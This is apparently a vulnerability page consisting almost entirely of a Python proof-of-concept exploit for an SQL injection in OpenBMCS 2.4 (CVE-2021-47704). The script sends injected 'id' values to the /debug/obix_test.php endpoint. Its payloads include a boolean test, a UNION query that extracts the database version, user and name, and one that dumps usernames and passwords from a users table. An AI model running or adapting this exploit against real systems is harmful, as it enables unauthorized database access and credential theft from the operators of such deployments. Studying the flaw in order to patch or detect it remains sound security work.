OpenBMCS 2.4 SQL注入漏洞 (CVE-2021-47704)

import requests import sys # CVE-2021-47704 OpenBMCS SQL Injection PoC # Target: OpenBMCS 2.4 /debug/obix_test.php def exploit(target_url, payload): """ Exploit SQL injection in OpenBMCS 2.4 Args: target_url: Base URL of the vulnerable application payload: SQL injection payload """ # Construct the vulnerable endpoint vuln_endpoint = f"{target_url}/debug/obix_test.php" # Prepare the malicious request params = {'id': payload} try: # Send GET request with SQL injection payload response = requests.get(vuln_endpoint, params=params, timeout=10) print(f"[*] Target: {vuln_endpoint}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[+] Response received. Length: {len(response.text)}") print("\n[+] Response snippet:") print(response.text[:500]) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None # Example payloads if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target.com" # Basic injection test print("=== OpenBMCS CVE-2021-47704 PoC ===") # Test 1: Boolean-based blind injection payload1 = "1' AND 1=1 -- " print("\n[Test 1] Boolean-based injection:") exploit(target, payload1) # Test 2: Extract database version payload2 = "1' UNION SELECT NULL,version(),user(),database() -- " print("\n[Test 2] Extract database information:") exploit(target, payload2) # Test 3: Extract users table payload3 = "1' UNION SELECT NULL,username,password FROM users -- " print("\n[Test 3] Extract user credentials:") exploit(target, payload3)